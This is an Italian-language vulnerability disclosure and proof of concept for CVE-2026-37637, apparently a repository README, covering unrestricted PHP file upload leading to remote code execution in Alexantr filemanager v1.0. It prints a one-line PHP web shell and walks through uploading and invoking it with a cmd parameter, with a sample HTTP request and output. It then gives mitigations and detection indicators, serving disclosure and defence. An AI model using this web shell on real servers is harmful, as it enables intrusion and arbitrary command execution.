
Esecuzione di codice remoto in Alexantr filemanager v1.0 tramite caricamento di file senza restrizioni
Proof of Concept per CVE-2026-37637 - Remote Code Execution in Alexantr filemanager v1.0 tramite upload di file senza restrizioni in filemanager.php.
CVE-2026-37637 è una vulnerabilità di Remote Code Execution che colpisce Alexantr filemanager v1.0.
La vulnerabilità esiste nel componente filemanager.php a causa di una validazione insufficiente dei file caricati. Un attaccante remoto può caricare un file PHP malevolo in una directory accessibile via web ed eseguire comandi arbitrari sul server.
Stato CVE: Inviato a MITRE
Ricercatore: CYBER-SEC Repository del vendor: https://github.com/alexantr/filemanager
| Elemento | Descrizione |
|---|
| ID CVE | CVE-2026-37637 |
| Tipo di Vulnerabilità | Remote Code Execution |
| Prodotto Colpito | Alexantr filemanager |
| Versione Colpita | v1.0 |
| Componente Vulnerabile | filemanager.php |
| Vettore di Attacco | Remoto |
| Autenticazione Richiesta | Dipende dalla distribuzione/configurazione |
| Impatto | Esecuzione di comandi arbitrari |
| Causa Principale | Upload di file senza restrizioni e mancanza di validazione lato server |
Un attaccante può caricare un file PHP malevolo tramite la funzionalità di upload dei file. Poiché i file caricati vengono memorizzati in una posizione accessibile via web e l'esecuzione di PHP è consentita, l'attaccante può eseguire comandi di sistema arbitrari sul server.
Lo sfruttamento riuscito può consentire a un attaccante di:
L'applicazione consente agli utenti di caricare file arbitrari senza validare correttamente l'estensione del file, il tipo MIME o il contenuto del file.
Un file PHP malevolo come il seguente può essere caricato:
<?php system($_GET['cmd']); ?>
Una volta caricato in una directory accessibile via web, l'attaccante può eseguire comandi accedendo al file tramite il browser e passando i comandi tramite il parametro cmd.
Esempio:
http://target/uploads/shell.php?cmd=id
Ciò comporta l'esecuzione di comandi sul sistema operativo sottostante.
git clone https://github.com/alexantr/filemanager
cd filemanager
php -S localhost:8000
Aprire l'applicazione in un browser:
http://localhost:8000/filemanager.php
A seconda della distribuzione o della configurazione, l'applicazione può essere accessibile anche tramite:
http://localhost:8000/pheditor.php
Creare un file denominato shell.php:
<?php system($_GET['cmd']); ?>
Caricare il file utilizzando la funzionalità di upload dell'applicazione.
Dopo aver caricato il file, accedervi direttamente dal browser:
http://localhost:8000/uploads/shell.php?cmd=id
Se lo sfruttamento ha successo, il server eseguirà il comando e restituirà l'output.
Esempio di output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
<?php system($_GET['cmd']); ?>
GET /uploads/shell.php?cmd=id HTTP/1.1
Host: target
User-Agent: Mozilla/5.0
Connection: close
Il comando fornito tramite il parametro cmd viene eseguito sul server.
La vulnerabilità è causata da una validazione lato server insufficiente nella funzionalità di upload dei file.
L'applicazione non limita correttamente:
Di conseguenza, i file PHP eseguibili possono essere caricati ed eseguiti direttamente.
Il vendor e gli utenti dovrebbero implementare le seguenti protezioni.
Impedire l'upload di tipi di file eseguibili come:
.php, .phtml, .php3, .php4, .php5, .phar
Consentire solo i tipi di file previsti, ad esempio:
.jpg, .png, .gif, .txt, .pdf
Non fare affidamento solo sull'header Content-Type fornito dal client.
La validazione dei file deve essere eseguita lato server.
I file caricati non devono essere direttamente eseguibili o pubblicamente accessibili.
Per Apache, questo può essere fatto con .htaccess:
php_flag engine off
RemoveHandler .php .phtml .php3 .php4 .php5 .phar
RemoveType .php .phtml .php3 .php4 .php5 .phar
Per Nginx, impedire la gestione di PHP nei percorsi di upload:
location /uploads/ {
location ~ \.php$ {
deny all;
}
}
Utilizzare nomi di file casuali generati dal server e rimuovere le estensioni controllate dall'utente.
Limitare la funzionalità di upload ai soli utenti fidati.
Gli amministratori possono cercare file PHP sospetti caricati nelle directory accessibili via web.
Indicatori di esempio:
shell.php
cmd.php
upload.php
backdoor.php
file .php all'interno delle directory di upload
I pattern di richiesta sospetti possono includere:
?cmd=
?exec=
?shell=
?command=
Esempio di voce di log:
GET /uploads/shell.php?cmd=id HTTP/1.1
Questo repository è fornito esclusivamente a scopo educativo e di difesa della sicurezza.
Le informazioni e il proof of concept sono intesi ad aiutare sviluppatori, amministratori di sistema e professionisti della sicurezza a comprendere e correggere la vulnerabilità.
Non utilizzare queste informazioni per attaccare sistemi senza autorizzazione esplicita. L'accesso non autorizzato a sistemi informatici è illegale.
L'autore non è responsabile per qualsiasi uso improprio delle informazioni fornite in questo repository.